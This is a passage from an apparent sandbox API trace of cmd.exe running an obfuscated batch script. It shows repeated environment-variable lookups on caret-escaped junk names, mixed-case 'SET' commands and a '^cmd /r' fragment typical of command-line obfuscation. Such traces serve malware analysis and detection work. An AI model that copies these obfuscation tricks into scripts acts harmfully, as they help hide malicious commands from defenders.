out: lpBuffer="") returned 0x0 [0085.704] _wcsicmp (_String1="G^U", _String2="CD") returned 4 [0085.704] _wcsicmp (_String1="G^U", _String2="ERRORLEVEL") returned 2 [0085.704] _wcsicmp (_String1="G^U", _String2="CMDEXTVERSION") returned 4 [0085.704] _wcsicmp (_String1="G^U", _String2="CMDCMDLINE") returned 4 [0085.704] _wcsicmp (_String1="G^U", _String2="DATE") returned 3 [0085.704] _wcsicmp (_String1="G^U", _String2="TIME") returned -13 [0085.704] _wcsicmp (_String1="G^U", _String2="RANDOM") returned -11 [0085.704] _wcsicmp (_String1="G^U", _String2="HIGHESTNUMANODENUMBER") returned -1 [0085.704] GetEnvironmentVariableW (in: lpName="LI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.704] _wcsicmp (_String1="LI", _String2="CD") returned 9 [0085.704] _wcsicmp (_String1="LI", _String2="ERRORLEVEL") returned 7 [0085.704] _wcsicmp (_String1="LI", _String2="CMDEXTVERSION") returned 9 [0085.704] _wcsicmp (_String1="LI", _String2="CMDCMDLINE") returned 9 [0085.704] _wcsicmp (_String1="LI", _String2="DATE") returned 8 [0085.704] _wcsicmp (_String1="LI", _String2="TIME") returned -8 [0085.704] _wcsicmp (_String1="LI", _String2="RANDOM") returned -6 [0085.705] _wcsicmp (_String1="LI", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.705] GetEnvironmentVariableW (in: lpName="3^M^K^1", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="CD") returned -48 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="ERRORLEVEL") returned -50 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="CMDEXTVERSION") returned -48 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="CMDCMDLINE") returned -48 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="DATE") returned -49 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="TIME") returned -65 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="RANDOM") returned -63 [0085.705] _wcsicmp (_String1="3^M^K^1", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.705] GetEnvironmentVariableW (in: lpName="0^A", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.705] _wcsicmp (_String1="0^A", _String2="CD") returned -51 [0085.705] _wcsicmp (_String1="0^A", _String2="ERRORLEVEL") returned -53 [0085.705] _wcsicmp (_String1="0^A", _String2="CMDEXTVERSION") returned -51 [0085.705] _wcsicmp (_String1="0^A", _String2="CMDCMDLINE") returned -51 [0085.705] _wcsicmp (_String1="0^A", _String2="DATE") returned -52 [0085.705] _wcsicmp (_String1="0^A", _String2="TIME") returned -68 [0085.705] _wcsicmp (_String1="0^A", _String2="RANDOM") returned -66 [0085.705] _wcsicmp (_String1="0^A", _String2="HIGHESTNUMANODENUMBER") returned -56 [0085.706] GetEnvironmentVariableW (in: lpName="q^G", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.706] _wcsicmp (_String1="q^G", _String2="CD") returned 14 [0085.706] _wcsicmp (_String1="q^G", _String2="ERRORLEVEL") returned 12 [0085.706] _wcsicmp (_String1="q^G", _String2="CMDEXTVERSION") returned 14 [0085.706] _wcsicmp (_String1="q^G", _String2="CMDCMDLINE") returned 14 [0085.706] _wcsicmp (_String1="q^G", _String2="DATE") returned 13 [0085.706] _wcsicmp (_String1="q^G", _String2="TIME") returned -3 [0085.706] _wcsicmp (_String1="q^G", _String2="RANDOM") returned -1 [0085.706] _wcsicmp (_String1="q^G", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.706] GetEnvironmentVariableW (in: lpName="bO^q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.706] _wcsicmp (_String1="bO^q", _String2="CD") returned -1 [0085.706] _wcsicmp (_String1="bO^q", _String2="ERRORLEVEL") returned -3 [0085.706] _wcsicmp (_String1="bO^q", _String2="CMDEXTVERSION") returned -1 [0085.706] _wcsicmp (_String1="bO^q", _String2="CMDCMDLINE") returned -1 [0085.706] _wcsicmp (_String1="bO^q", _String2="DATE") returned -2 [0085.706] _wcsicmp (_String1="bO^q", _String2="TIME") returned -18 [0085.706] _wcsicmp (_String1="bO^q", _String2="RANDOM") returned -16 [0085.706] _wcsicmp (_String1="bO^q", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.706] GetEnvironmentVariableW (in: lpName="^cI", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.706] _wcsicmp (_String1="^cI", _String2="CD") returned -5 [0085.706] _wcsicmp (_String1="^cI", _String2="ERRORLEVEL") returned -7 [0085.706] _wcsicmp (_String1="^cI", _String2="CMDEXTVERSION") returned -5 [0085.706] _wcsicmp (_String1="^cI", _String2="CMDCMDLINE") returned -5 [0085.706] _wcsicmp (_String1="^cI", _String2="DATE") returned -6 [0085.706] _wcsicmp (_String1="^cI", _String2="TIME") returned -22 [0085.706] _wcsicmp (_String1="^cI", _String2="RANDOM") returned -20 [0085.706] _wcsicmp (_String1="^cI", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.707] GetEnvironmentVariableW (in: lpName="X^j", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.707] _wcsicmp (_String1="X^j", _String2="CD") returned 21 [0085.707] _wcsicmp (_String1="X^j", _String2="ERRORLEVEL") returned 19 [0085.707] _wcsicmp (_String1="X^j", _String2="CMDEXTVERSION") returned 21 [0085.707] _wcsicmp (_String1="X^j", _String2="CMDCMDLINE") returned 21 [0085.707] _wcsicmp (_String1="X^j", _String2="DATE") returned 20 [0085.707] _wcsicmp (_String1="X^j", _String2="TIME") returned 4 [0085.707] _wcsicmp (_String1="X^j", _String2="RANDOM") returned 6 [0085.707] _wcsicmp (_String1="X^j", _String2="HIGHESTNUMANODENUMBER") returned 16 [0085.707] GetEnvironmentVariableW (in: lpName="^3R^Y", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="CD") returned -5 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="ERRORLEVEL") returned -7 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="CMDEXTVERSION") returned -5 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="CMDCMDLINE") returned -5 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="DATE") returned -6 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="TIME") returned -22 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="RANDOM") returned -20 [0085.707] _wcsicmp (_String1="^3R^Y", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.707] GetEnvironmentVariableW (in: lpName="bI^He", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.707] _wcsicmp (_String1="bI^He", _String2="CD") returned -1 [0085.707] _wcsicmp (_String1="bI^He", _String2="ERRORLEVEL") returned -3 [0085.707] _wcsicmp (_String1="bI^He", _String2="CMDEXTVERSION") returned -1 [0085.707] _wcsicmp (_String1="bI^He", _String2="CMDCMDLINE") returned -1 [0085.707] _wcsicmp (_String1="bI^He", _String2="DATE") returned -2 [0085.707] _wcsicmp (_String1="bI^He", _String2="TIME") returned -18 [0085.707] _wcsicmp (_String1="bI^He", _String2="RANDOM") returned -16 [0085.707] _wcsicmp (_String1="bI^He", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.708] GetEnvironmentVariableW (in: lpName="^cOyd", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.708] _wcsicmp (_String1="^cOyd", _String2="CD") returned -5 [0085.708] _wcsicmp (_String1="^cOyd", _String2="ERRORLEVEL") returned -7 [0085.708] _wcsicmp (_String1="^cOyd", _String2="CMDEXTVERSION") returned -5 [0085.708] _wcsicmp (_String1="^cOyd", _String2="CMDCMDLINE") returned -5 [0085.708] _wcsicmp (_String1="^cOyd", _String2="DATE") returned -6 [0085.708] _wcsicmp (_String1="^cOyd", _String2="TIME") returned -22 [0085.708] _wcsicmp (_String1="^cOyd", _String2="RANDOM") returned -20 [0085.708] _wcsicmp (_String1="^cOyd", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.708] GetEnvironmentVariableW (in: lpName="^h^g", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.708] _wcsicmp (_String1="^h^g", _String2="CD") returned -5 [0085.708] _wcsicmp (_String1="^h^g", _String2="ERRORLEVEL") returned -7 [0085.708] _wcsicmp (_String1="^h^g", _String2="CMDEXTVERSION") returned -5 [0085.708] _wcsicmp (_String1="^h^g", _String2="CMDCMDLINE") returned -5 [0085.708] _wcsicmp (_String1="^h^g", _String2="DATE") returned -6 [0085.708] _wcsicmp (_String1="^h^g", _String2="TIME") returned -22 [0085.708] _wcsicmp (_String1="^h^g", _String2="RANDOM") returned -20 [0085.708] _wcsicmp (_String1="^h^g", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.708] GetEnvironmentVariableW (in: lpName="l^R", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.708] _wcsicmp (_String1="l^R", _String2="CD") returned 9 [0085.708] _wcsicmp (_String1="l^R", _String2="ERRORLEVEL") returned 7 [0085.708] _wcsicmp (_String1="l^R", _String2="CMDEXTVERSION") returned 9 [0085.708] _wcsicmp (_String1="l^R", _String2="CMDCMDLINE") returned 9 [0085.708] _wcsicmp (_String1="l^R", _String2="DATE") returned 8 [0085.708] _wcsicmp (_String1="l^R", _String2="TIME") returned -8 [0085.708] _wcsicmp (_String1="l^R", _String2="RANDOM") returned -6 [0085.708] _wcsicmp (_String1="l^R", _String2="HIGHESTNUMANODENUMBER") returned 4 [0085.708] GetEnvironmentVariableW (in: lpName="^dv", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.708] _wcsicmp (_String1="^dv", _String2="CD") returned -5 [0085.708] _wcsicmp (_String1="^dv", _String2="ERRORLEVEL") returned -7 [0085.708] _wcsicmp (_String1="^dv", _String2="CMDEXTVERSION") returned -5 [0085.708] _wcsicmp (_String1="^dv", _String2="CMDCMDLINE") returned -5 [0085.709] _wcsicmp (_String1="^dv", _String2="DATE") returned -6 [0085.709] _wcsicmp (_String1="^dv", _String2="TIME") returned -22 [0085.709] _wcsicmp (_String1="^dv", _String2="RANDOM") returned -20 [0085.709] _wcsicmp (_String1="^dv", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.709] GetEnvironmentVariableW (in: lpName="^rp", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.709] _wcsicmp (_String1="^rp", _String2="CD") returned -5 [0085.709] _wcsicmp (_String1="^rp", _String2="ERRORLEVEL") returned -7 [0085.709] _wcsicmp (_String1="^rp", _String2="CMDEXTVERSION") returned -5 [0085.709] _wcsicmp (_String1="^rp", _String2="CMDCMDLINE") returned -5 [0085.709] _wcsicmp (_String1="^rp", _String2="DATE") returned -6 [0085.709] _wcsicmp (_String1="^rp", _String2="TIME") returned -22 [0085.709] _wcsicmp (_String1="^rp", _String2="RANDOM") returned -20 [0085.709] _wcsicmp (_String1="^rp", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.709] GetEnvironmentVariableW (in: lpName="q^X", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.709] _wcsicmp (_String1="q^X", _String2="CD") returned 14 [0085.709] _wcsicmp (_String1="q^X", _String2="ERRORLEVEL") returned 12 [0085.709] _wcsicmp (_String1="q^X", _String2="CMDEXTVERSION") returned 14 [0085.709] _wcsicmp (_String1="q^X", _String2="CMDCMDLINE") returned 14 [0085.709] _wcsicmp (_String1="q^X", _String2="DATE") returned 13 [0085.709] _wcsicmp (_String1="q^X", _String2="TIME") returned -3 [0085.709] _wcsicmp (_String1="q^X", _String2="RANDOM") returned -1 [0085.709] _wcsicmp (_String1="q^X", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.709] GetEnvironmentVariableW (in: lpName="^olr8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.709] _wcsicmp (_String1="^olr8", _String2="CD") returned -5 [0085.709] _wcsicmp (_String1="^olr8", _String2="ERRORLEVEL") returned -7 [0085.709] _wcsicmp (_String1="^olr8", _String2="CMDEXTVERSION") returned -5 [0085.709] _wcsicmp (_String1="^olr8", _String2="CMDCMDLINE") returned -5 [0085.709] _wcsicmp (_String1="^olr8", _String2="DATE") returned -6 [0085.709] _wcsicmp (_String1="^olr8", _String2="TIME") returned -22 [0085.709] _wcsicmp (_String1="^olr8", _String2="RANDOM") returned -20 [0085.709] _wcsicmp (_String1="^olr8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.710] GetEnvironmentVariableW (in: lpName="o^JV", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.710] _wcsicmp (_String1="o^JV", _String2="CD") returned 12 [0085.710] _wcsicmp (_String1="o^JV", _String2="ERRORLEVEL") returned 10 [0085.710] _wcsicmp (_String1="o^JV", _String2="CMDEXTVERSION") returned 12 [0085.710] _wcsicmp (_String1="o^JV", _String2="CMDCMDLINE") returned 12 [0085.710] _wcsicmp (_String1="o^JV", _String2="DATE") returned 11 [0085.710] _wcsicmp (_String1="o^JV", _String2="TIME") returned -5 [0085.710] _wcsicmp (_String1="o^JV", _String2="RANDOM") returned -3 [0085.710] _wcsicmp (_String1="o^JV", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.710] GetEnvironmentVariableW (in: lpName="^A2", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.710] _wcsicmp (_String1="^A2", _String2="CD") returned -5 [0085.710] _wcsicmp (_String1="^A2", _String2="ERRORLEVEL") returned -7 [0085.710] _wcsicmp (_String1="^A2", _String2="CMDEXTVERSION") returned -5 [0085.710] _wcsicmp (_String1="^A2", _String2="CMDCMDLINE") returned -5 [0085.710] _wcsicmp (_String1="^A2", _String2="DATE") returned -6 [0085.710] _wcsicmp (_String1="^A2", _String2="TIME") returned -22 [0085.710] _wcsicmp (_String1="^A2", _String2="RANDOM") returned -20 [0085.710] _wcsicmp (_String1="^A2", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.710] GetEnvironmentVariableW (in: lpName="cni^h", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.710] _wcsicmp (_String1="cni^h", _String2="CD") returned 10 [0085.710] _wcsicmp (_String1="cni^h", _String2="ERRORLEVEL") returned -2 [0085.710] _wcsicmp (_String1="cni^h", _String2="CMDEXTVERSION") returned 1 [0085.710] _wcsicmp (_String1="cni^h", _String2="CMDCMDLINE") returned 1 [0085.710] _wcsicmp (_String1="cni^h", _String2="DATE") returned -1 [0085.710] _wcsicmp (_String1="cni^h", _String2="TIME") returned -17 [0085.710] _wcsicmp (_String1="cni^h", _String2="RANDOM") returned -15 [0085.710] _wcsicmp (_String1="cni^h", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.710] GetEnvironmentVariableW (in: lpName="I^G4^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.710] _wcsicmp (_String1="I^G4^Q", _String2="CD") returned 6 [0085.710] _wcsicmp (_String1="I^G4^Q", _String2="ERRORLEVEL") returned 4 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="CMDEXTVERSION") returned 6 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="CMDCMDLINE") returned 6 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="DATE") returned 5 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="TIME") returned -11 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="RANDOM") returned -9 [0085.711] _wcsicmp (_String1="I^G4^Q", _String2="HIGHESTNUMANODENUMBER") returned 1 [0085.711] GetEnvironmentVariableW (in: lpName="8^i47", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.711] _wcsicmp (_String1="8^i47", _String2="CD") returned -43 [0085.711] _wcsicmp (_String1="8^i47", _String2="ERRORLEVEL") returned -45 [0085.711] _wcsicmp (_String1="8^i47", _String2="CMDEXTVERSION") returned -43 [0085.711] _wcsicmp (_String1="8^i47", _String2="CMDCMDLINE") returned -43 [0085.711] _wcsicmp (_String1="8^i47", _String2="DATE") returned -44 [0085.711] _wcsicmp (_String1="8^i47", _String2="TIME") returned -60 [0085.711] _wcsicmp (_String1="8^i47", _String2="RANDOM") returned -58 [0085.711] _wcsicmp (_String1="8^i47", _String2="HIGHESTNUMANODENUMBER") returned -48 [0085.711] GetEnvironmentVariableW (in: lpName="c2^Q", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.712] _wcsicmp (_String1="c2^Q", _String2="CD") returned -50 [0085.712] _wcsicmp (_String1="c2^Q", _String2="ERRORLEVEL") returned -2 [0085.712] _wcsicmp (_String1="c2^Q", _String2="CMDEXTVERSION") returned -59 [0085.712] _wcsicmp (_String1="c2^Q", _String2="CMDCMDLINE") returned -59 [0085.712] _wcsicmp (_String1="c2^Q", _String2="DATE") returned -1 [0085.712] _wcsicmp (_String1="c2^Q", _String2="TIME") returned -17 [0085.712] _wcsicmp (_String1="c2^Q", _String2="RANDOM") returned -15 [0085.712] _wcsicmp (_String1="c2^Q", _String2="HIGHESTNUMANODENUMBER") returned -5 [0085.712] GetEnvironmentVariableW (in: lpName="3^C^he", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.712] _wcsicmp (_String1="3^C^he", _String2="CD") returned -48 [0085.712] _wcsicmp (_String1="3^C^he", _String2="ERRORLEVEL") returned -50 [0085.712] _wcsicmp (_String1="3^C^he", _String2="CMDEXTVERSION") returned -48 [0085.712] _wcsicmp (_String1="3^C^he", _String2="CMDCMDLINE") returned -48 [0085.712] _wcsicmp (_String1="3^C^he", _String2="DATE") returned -49 [0085.712] _wcsicmp (_String1="3^C^he", _String2="TIME") returned -65 [0085.712] _wcsicmp (_String1="3^C^he", _String2="RANDOM") returned -63 [0085.712] _wcsicmp (_String1="3^C^he", _String2="HIGHESTNUMANODENUMBER") returned -53 [0085.712] GetEnvironmentVariableW (in: lpName="O^c^W^L", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="CD") returned 12 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="ERRORLEVEL") returned 10 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="CMDEXTVERSION") returned 12 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="CMDCMDLINE") returned 12 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="DATE") returned 11 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="TIME") returned -5 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="RANDOM") returned -3 [0085.712] _wcsicmp (_String1="O^c^W^L", _String2="HIGHESTNUMANODENUMBER") returned 7 [0085.712] GetEnvironmentVariableW (in: lpName="^oP8", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.712] _wcsicmp (_String1="^oP8", _String2="CD") returned -5 [0085.737] _wcsicmp (_String1="^oP8", _String2="ERRORLEVEL") returned -7 [0085.737] _wcsicmp (_String1="^oP8", _String2="CMDEXTVERSION") returned -5 [0085.737] _wcsicmp (_String1="^oP8", _String2="CMDCMDLINE") returned -5 [0085.737] _wcsicmp (_String1="^oP8", _String2="DATE") returned -6 [0085.737] _wcsicmp (_String1="^oP8", _String2="TIME") returned -22 [0085.737] _wcsicmp (_String1="^oP8", _String2="RANDOM") returned -20 [0085.737] _wcsicmp (_String1="^oP8", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.737] GetEnvironmentVariableW (in: lpName="DQ", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.737] _wcsicmp (_String1="DQ", _String2="CD") returned 1 [0085.737] _wcsicmp (_String1="DQ", _String2="ERRORLEVEL") returned -1 [0085.737] _wcsicmp (_String1="DQ", _String2="CMDEXTVERSION") returned 1 [0085.737] _wcsicmp (_String1="DQ", _String2="CMDCMDLINE") returned 1 [0085.737] _wcsicmp (_String1="DQ", _String2="DATE") returned 16 [0085.737] _wcsicmp (_String1="DQ", _String2="TIME") returned -16 [0085.737] _wcsicmp (_String1="DQ", _String2="RANDOM") returned -14 [0085.737] _wcsicmp (_String1="DQ", _String2="HIGHESTNUMANODENUMBER") returned -4 [0085.737] GetEnvironmentVariableW (in: lpName="b^HT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.737] _wcsicmp (_String1="b^HT", _String2="CD") returned -1 [0085.737] _wcsicmp (_String1="b^HT", _String2="ERRORLEVEL") returned -3 [0085.737] _wcsicmp (_String1="b^HT", _String2="CMDEXTVERSION") returned -1 [0085.737] _wcsicmp (_String1="b^HT", _String2="CMDCMDLINE") returned -1 [0085.737] _wcsicmp (_String1="b^HT", _String2="DATE") returned -2 [0085.737] _wcsicmp (_String1="b^HT", _String2="TIME") returned -18 [0085.737] _wcsicmp (_String1="b^HT", _String2="RANDOM") returned -16 [0085.737] _wcsicmp (_String1="b^HT", _String2="HIGHESTNUMANODENUMBER") returned -6 [0085.737] GetEnvironmentVariableW (in: lpName="^ID", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.737] _wcsicmp (_String1="^ID", _String2="CD") returned -5 [0085.738] _wcsicmp (_String1="^ID", _String2="ERRORLEVEL") returned -7 [0085.738] _wcsicmp (_String1="^ID", _String2="CMDEXTVERSION") returned -5 [0085.738] _wcsicmp (_String1="^ID", _String2="CMDCMDLINE") returned -5 [0085.738] _wcsicmp (_String1="^ID", _String2="DATE") returned -6 [0085.738] _wcsicmp (_String1="^ID", _String2="TIME") returned -22 [0085.738] _wcsicmp (_String1="^ID", _String2="RANDOM") returned -20 [0085.738] _wcsicmp (_String1="^ID", _String2="HIGHESTNUMANODENUMBER") returned -10 [0085.738] GetEnvironmentVariableW (in: lpName="e5^S", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.738] _wcsicmp (_String1="e5^S", _String2="CD") returned 2 [0085.738] _wcsicmp (_String1="e5^S", _String2="ERRORLEVEL") returned -61 [0085.738] _wcsicmp (_String1="e5^S", _String2="CMDEXTVERSION") returned 2 [0085.738] _wcsicmp (_String1="e5^S", _String2="CMDCMDLINE") returned 2 [0085.738] _wcsicmp (_String1="e5^S", _String2="DATE") returned 1 [0085.738] _wcsicmp (_String1="e5^S", _String2="TIME") returned -15 [0085.738] _wcsicmp (_String1="e5^S", _String2="RANDOM") returned -13 [0085.738] _wcsicmp (_String1="e5^S", _String2="HIGHESTNUMANODENUMBER") returned -3 [0085.738] GetEnvironmentVariableW (in: lpName="p^v", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.738] _wcsicmp (_String1="p^v", _String2="CD") returned 13 [0085.738] _wcsicmp (_String1="p^v", _String2="ERRORLEVEL") returned 11 [0085.738] _wcsicmp (_String1="p^v", _String2="CMDEXTVERSION") returned 13 [0085.738] _wcsicmp (_String1="p^v", _String2="CMDCMDLINE") returned 13 [0085.738] _wcsicmp (_String1="p^v", _String2="DATE") returned 12 [0085.738] _wcsicmp (_String1="p^v", _String2="TIME") returned -4 [0085.738] _wcsicmp (_String1="p^v", _String2="RANDOM") returned -2 [0085.738] _wcsicmp (_String1="p^v", _String2="HIGHESTNUMANODENUMBER") returned 8 [0085.738] GetEnvironmentVariableW (in: lpName="& ,, ^cmd, , /r ,", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="CD") returned -61 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="ERRORLEVEL") returned -63 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="CMDEXTVERSION") returned -61 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="CMDCMDLINE") returned -61 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="DATE") returned -62 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="TIME") returned -78 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="RANDOM") returned -76 [0085.738] _wcsicmp (_String1="& ,, ^cmd, , /r ,", _String2="HIGHESTNUMANODENUMBER") returned -66 [0085.739] GetEnvironmentVariableW (in: lpName="q4j^", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.739] _wcsicmp (_String1="q4j^", _String2="CD") returned 14 [0085.739] _wcsicmp (_String1="q4j^", _String2="ERRORLEVEL") returned 12 [0085.739] _wcsicmp (_String1="q4j^", _String2="CMDEXTVERSION") returned 14 [0085.739] _wcsicmp (_String1="q4j^", _String2="CMDCMDLINE") returned 14 [0085.739] _wcsicmp (_String1="q4j^", _String2="DATE") returned 13 [0085.739] _wcsicmp (_String1="q4j^", _String2="TIME") returned -3 [0085.739] _wcsicmp (_String1="q4j^", _String2="RANDOM") returned -1 [0085.739] _wcsicmp (_String1="q4j^", _String2="HIGHESTNUMANODENUMBER") returned 9 [0085.740] GetConsoleTitleW (in: lpConsoleTitle=0x1ef900, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.740] _wcsicmp (_String1="SeT", _String2="DIR") returned 15 [0085.740] _wcsicmp (_String1="SeT", _String2="ERASE") returned 14 [0085.740] _wcsicmp (_String1="SeT", _String2="DEL") returned 15 [0085.740] _wcsicmp (_String1="SeT", _String2="TYPE") returned -1 [0085.740] _wcsicmp (_String1="SeT", _String2="COPY") returned 16 [0085.740] _wcsicmp (_String1="SeT", _String2="CD") returned 16 [0085.740] _wcsicmp (_String1="SeT", _String2="CHDIR") returned 16 [0085.740] _wcsicmp (_String1="SeT", _String2="RENAME") returned 1 [0085.740] _wcsicmp (_String1="SeT", _String2="REN") returned 1 [0085.740] _wcsicmp (_String1="SeT", _String2="ECHO") returned 14 [0085.740] _wcsicmp (_String1="SeT", _String2="SET") returned 0 [0085.741] GetConsoleTitleW (in: lpConsoleTitle=0x1ef780, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.741] _wcsicmp (_String1="sET", _String2="DIR") returned 15 [0085.741] _wcsicmp (_String1="sET", _String2="ERASE") returned 14 [0085.741] _wcsicmp (_String1="sET", _String2="DEL") returned 15 [0085.741] _wcsicmp (_String1="sET", _String2="TYPE") returned -1 [0085.741] _wcsicmp (_String1="sET", _String2="COPY") returned 16 [0085.741] _wcsicmp (_String1="sET", _String2="CD") returned 16 [0085.741] _wcsicmp (_String1="sET", _String2="CHDIR") returned 16 [0085.741] _wcsicmp (_String1="sET", _String2="RENAME") returned 1 [0085.741] _wcsicmp (_String1="sET", _String2="REN") returned 1 [0085.741] _wcsicmp (_String1="sET", _String2="ECHO") returned 14 [0085.741] _wcsicmp (_String1="sET", _String2="SET") returned 0 [0085.741] GetConsoleTitleW (in: lpConsoleTitle=0x1ef6c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.742] _wcsicmp (_String1="set", _String2="DIR") returned 15 [0085.742] _wcsicmp (_String1="set", _String2="ERASE") returned 14 [0085.742] _wcsicmp (_String1="set", _String2="DEL") returned 15 [0085.742] _wcsicmp (_String1="set", _String2="TYPE") returned -1 [0085.742] _wcsicmp (_String1="set", _String2="COPY") returned 16 [0085.742] _wcsicmp (_String1="set", _String2="CD") returned 16 [0085.742] _wcsicmp (_String1="set", _String2="CHDIR") returned 16 [0085.742] _wcsicmp (_String1="set", _String2="RENAME") returned 1 [0085.742] _wcsicmp (_String1="set", _String2="REN") returned 1 [0085.742] _wcsicmp (_String1="set", _String2="ECHO") returned 14 [0085.742] _wcsicmp (_String1="set", _String2="SET") returned 0 [0085.742] GetConsoleTitleW (in: lpConsoleTitle=0x1ef6c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.742] _wcsicmp (_String1="SeT", _String2="DIR") returned 15 [0085.742] _wcsicmp (_String1="SeT", _String2="ERASE") returned 14 [0085.742] _wcsicmp (_String1="SeT", _String2="DEL") returned 15 [0085.742] _wcsicmp (_String1="SeT", _String2="TYPE") returned -1 [0085.742] _wcsicmp (_String1="SeT", _String2="COPY") returned 16 [0085.742] _wcsicmp (_String1="SeT", _String2="CD") returned 16 [0085.742] _wcsicmp (_String1="SeT", _String2="CHDIR") returned 16 [0085.742] _wcsicmp (_String1="SeT", _String2="RENAME") returned 1 [0085.743] _wcsicmp (_String1="SeT", _String2="REN") returned 1 [0085.743] _wcsicmp (_String1="SeT", _String2="ECHO") returned 14 [0085.743] _wcsicmp (_String1="SeT", _String2="SET") returned 0 [0085.743] GetConsoleTitleW (in: lpConsoleTitle=0x1ef6f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.743] _wcsicmp (_String1="SEt", _String2="DIR") returned 15 [0085.743] _wcsicmp 